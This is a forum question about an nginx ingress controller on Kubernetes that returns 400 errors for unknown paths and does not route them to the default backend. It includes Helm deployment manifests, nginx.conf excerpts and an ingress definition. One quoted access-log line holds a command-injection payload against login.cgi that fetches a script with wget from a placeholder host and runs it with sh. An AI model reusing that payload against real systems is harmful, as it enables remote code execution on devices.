I have an issue where all unknown endpoints are getting 400s returned by the ingress-controller itself. It does not send any traffic to the default backend. Other traffic to defined Ingress points is working fine.

I have seen this in my ingress-controller's logs because every night I get what look to be hand-rolled compromise-attempts, and I assume that the attacker (or script) keep trying because they're getting 400s and not 404s, and these are then presumed to be potentially accessible endpoints when they are not.

I am unsure if it's due to the way I deployed my nginx-ingress-controller or if it's because of how I have set up my ingresses. The ingress-controller is a really just a generic Helm deployment.

Here is part of its deployment manifest:

Name:                   fashionable-gopher-nginx-ingress-controller
Namespace:              kube-system
CreationTimestamp:      Tue, 03 Jul 2018 14:02:46 -0700
Labels:                 app=nginx-ingress
                        chart=nginx-ingress-0.20.3
                        component=controller
                        heritage=Tiller
                        release=fashionable-gopher
Annotations:            deployment.kubernetes.io/revision=1
Selector:               app=nginx-ingress,component=controller,release=fashionable-gopher
Replicas:               1 desired | 1 updated | 1 total | 1 available | 0 unavailable
StrategyType:           RollingUpdate
MinReadySeconds:        0
RollingUpdateStrategy:  1 max unavailable, 1 max surge
Pod Template:
  Labels:           app=nginx-ingress
                    component=controller
                    release=fashionable-gopher
  Service Account:  fashionable-gopher-nginx-ingress
  Containers:
   nginx-ingress-controller:
    Image:       quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.14.0
    Ports:       80/TCP, 443/TCP
    Host Ports:  0/TCP, 0/TCP
    Args:
      /nginx-ingress-controller
      --default-backend-service=kube-system/fashionable-gopher-nginx-ingress-default-backend

Here's an example 400 in the logs, which should be a 404 (no "login.cgi" endpoint exists anywhere):

10.244.3.1 - [10.244.3.1] - - [22/Aug/2018:23:52:35 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://some.malicious.ip.address/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 174 "-" "Hakai/2.0" 203 0.000 [] - - - -

Here's the default backend:

Name:                   fashionable-gopher-nginx-ingress-default-backend
Namespace:              kube-system
CreationTimestamp:      Tue, 03 Jul 2018 14:02:46 -0700
Labels:                 app=nginx-ingress
                        chart=nginx-ingress-0.20.3
                        component=default-backend
                        heritage=Tiller
                        release=fashionable-gopher
Annotations:            deployment.kubernetes.io/revision=1
Selector:               app=nginx-ingress,component=default-backend,release=fashionable-gopher
Replicas:               1 desired | 1 updated | 1 total | 1 available | 0 unavailable
StrategyType:           RollingUpdate
MinReadySeconds:        0
RollingUpdateStrategy:  1 max unavailable, 1 max surge
Pod Template:
  Labels:  app=nginx-ingress
           component=default-backend
           release=fashionable-gopher
  Containers:
   nginx-ingress-default-backend:
    Image:        k8s.gcr.io/defaultbackend:1.3

Lastly, here are some pieces from the nginx.conf in the ingress-controller and I'm not an expert in nginx.confs but it looks correct to me:

...
upstream upstream-default-backend {
        least_conn;

        keepalive 32;
}

        server 10.100.3.10:8080 max_fails=0 fail_timeout=0;
           location / {

        log_by_lua_block {

        }

        if ($scheme = https) {
            more_set_headers       "Strict-Transport-Security: max-age=15724800; includeSubDomains";
        }

        access_log off;

        port_in_redirect off;

        set $proxy_upstream_name "upstream-default-backend";

        set $namespace      "";
        set $ingress_name   "";
        set $service_name   "";

        client_max_body_size                    "1m";

                # In case of errors try the next upstream server before returning an error
        proxy_next_upstream                     error timeout invalid_header http_502 http_503 http_504;
        proxy_next_upstream_tries               0;

        proxy_pass http://upstream-default-backend;

        proxy_redirect                          off;

    }

One note: before I set up my first ingresses (for other domains), then traffic did make it to my default backend and throw 404s.

What should I do now to debug this issue and figure out why these 400s are not getting sent to my default backend?

Edit:

Here's the default-controller's deployment definition:

kubectl get deployment fashionable-gopher-nginx-ingress-default-backend -o yaml -n kube-system 

apiVersion: extensions/v1beta1 
kind: Deployment 
metadata:  annotations:
   deployment.kubernetes.io/revision: "1"   
   creationTimestamp: 2018-07-03T21:02:46Z   
   generation: 1   
labels:
    app: nginx-ingress
    chart: nginx-ingress-0.20.3
    component: default-backend
    heritage: Tiller
    release: fashionable-gopher   
    name: fashionable-gopher-nginx-ingress-default-backend   
    namespace: kube-system   resourceVersion: 

    progressDeadlineSeconds: 600   replicas: 1   revisionHistoryLimit: 10  selector:
    matchLabels:
      app: nginx-ingress
      component: default-backend
      release: fashionable-gopher   strategy:
    rollingUpdate:
      maxSurge: 1
      maxUnavailable: 1
    type: RollingUpdate   template:
    metadata:
      creationTimestamp: null
      labels:
        app: nginx-ingress
        component: default-backend
        release: fashionable-gopher
    spec:
      containers:
      - image: k8s.gcr.io/defaultbackend:1.3
        imagePullPolicy: IfNotPresent
        livenessProbe:
          failureThreshold: 3
          httpGet:
            path: /healthz
            port: 8080
            scheme: HTTP
          initialDelaySeconds: 30
          periodSeconds: 10
          successThreshold: 1
          timeoutSeconds: 5
        name: nginx-ingress-default-backend
        ports:
        - containerPort: 8080
          name: http
          protocol: TCP
        resources: {}
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 60 status:   availableReplicas: 1   conditions:
  - lastTransitionTime: 2018-07-03T21:02:46Z
    lastUpdateTime: 2018-07-03T21:02:46Z
    message: Deployment has minimum availability.
    reason: MinimumReplicasAvailable
    status: "True"
    type: Available
  - lastTransitionTime: 2018-07-28T16:19:57Z
    lastUpdateTime: 2018-07-28T16:22:06Z
    message: ReplicaSet "fashionable-gopher-nginx-ingress-default-backend-5ffffffff"
      has successfully progressed.
    reason: NewReplicaSetAvailable
    status: "True"
    type: Progressing   observedGeneration: 1   readyReplicas: 1   replicas: 1   updatedReplicas: 1

Edit

Here's the only ingress I have defined for now:

Name:             default-myserver-ingress
Namespace:        default
Address:
Default backend:  default-http-backend:80 (<none>)
TLS:
  myapp-tls-host-secrets terminates someapp.somehostname.com
Rules:
  Host                           Path  Backends
  ----                           ----  --------
  someapp.somehostname.com
                                 /   my-api:8000 (<none>)
Annotations:
  kubectl.kubernetes.io/last-applied-configuration:  {"apiVersion":"extensions/v1beta1","kind":"Ingress","metadata":{"annotations":{"kubernetes.io/ingress.class":"nginx"},"name":"default-myserver-ingress","namespace":"default"},"spec":{"rules":[{"host":"someapp.somehostname.com","http":{"paths":[{"backend":{"serviceName":"my-api","servicePort":8000},"path":"/"}]}}],"tls":[{"hosts":["someapp.somehostname.com"],"secretName":"myapp-tls-host-secrets"}]}}

  kubernetes.io/ingress.class:  nginx
Events:                         <none>

This ingress is defined for a hostname such as someapp.somehostname.com. However, this is a CNAME. The A record associated with this IP address is getting the problematic traffic I mentioned above (even though it's not defined in any of my Ingress definitions) and that traffic is not going to default backend when I think it should be. Does that make sense?

Edit:

Here's the result of kubectl get deployment fashionable-gopher-nginx-ingress-controller -n kube-system -o yaml:

apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: "1"
  creationTimestamp: 2018-07-03T21:02:46Z
  generation: 1
  labels:
    app: nginx-ingress
    chart: nginx-ingress-0.20.3
    component: controller
    heritage: Tiller
    release: fashionable-gopher
  name: fashionable-gopher-nginx-ingress-controller
  namespace: kube-system
  resourceVersion: "7461558"
  selfLink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/fashionable-gopher-nginx-ingress-controller
spec:
  progressDeadlineSeconds: 600
  replicas: 1
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      app: nginx-ingress
      component: controller
      release: fashionable-gopher
  strategy:
    rollingUpdate:
      maxSurge: 1
      maxUnavailable: 1
    type: RollingUpdate
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: nginx-ingress
        component: controller
        release: fashionable-gopher
    spec:
      containers:
      - args:
        - /nginx-ingress-controller
        - --default-backend-service=kube-system/fashionable-gopher-nginx-ingress-default-backend
        - --election-id=ingress-controller-leader
        - --ingress-class=nginx
        - --configmap=kube-system/fashionable-gopher-nginx-ingress-controller
        env:
        - name: POD_NAME
          valueFrom:
            fieldRef:
              apiVersion: v1
              fieldPath: metadata.name
        - name: POD_NAMESPACE
          valueFrom:
            fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
        image: quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.14.0
        imagePullPolicy: IfNotPresent
        livenessProbe:
          failureThreshold: 3
          httpGet:
            path: /healthz
            port: 10254
            scheme: HTTP
          initialDelaySeconds: 10
          periodSeconds: 10
          successThreshold: 1
          timeoutSeconds: 1
        name: nginx-ingress-controller
        ports:
        - containerPort: 80
          name: http
          protocol: TCP
        - containerPort: 443
          name: https
          protocol: TCP
        readinessProbe:
          failureThreshold: 3
          httpGet:
            path: /healthz
            port: 10254
            scheme: HTTP
          initialDelaySeconds: 10
          periodSeconds: 10
          successThreshold: 1
          timeoutSeconds: 1
        resources: {}
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      serviceAccount: fashionable-gopher-nginx-ingress
      serviceAccountName: fashionable-gopher-nginx-ingress
      terminationGracePeriodSeconds: 60
status:
  availableReplicas: 1
  conditions:
  - lastTransitionTime: 2018-07-03T21:02:46Z
    lastUpdateTime: 2018-07-03T21:02:46Z
    message: Deployment has minimum availability.
    reason: MinimumReplicasAvailable
    status: "True"
    type: Available
  - lastTransitionTime: 2018-07-28T16:29:07Z
    lastUpdateTime: 2018-07-28T16:31:53Z
    message: ReplicaSet "fashionable-gopher-nginx-ingress-controller-69d44d4df4" has
      successfully progressed.
    reason: NewReplicaSetAvailable
    status: "True"
    type: Progressing
  observedGeneration: 1
  readyReplicas: 1
  replicas: 1
  updatedReplicas: 1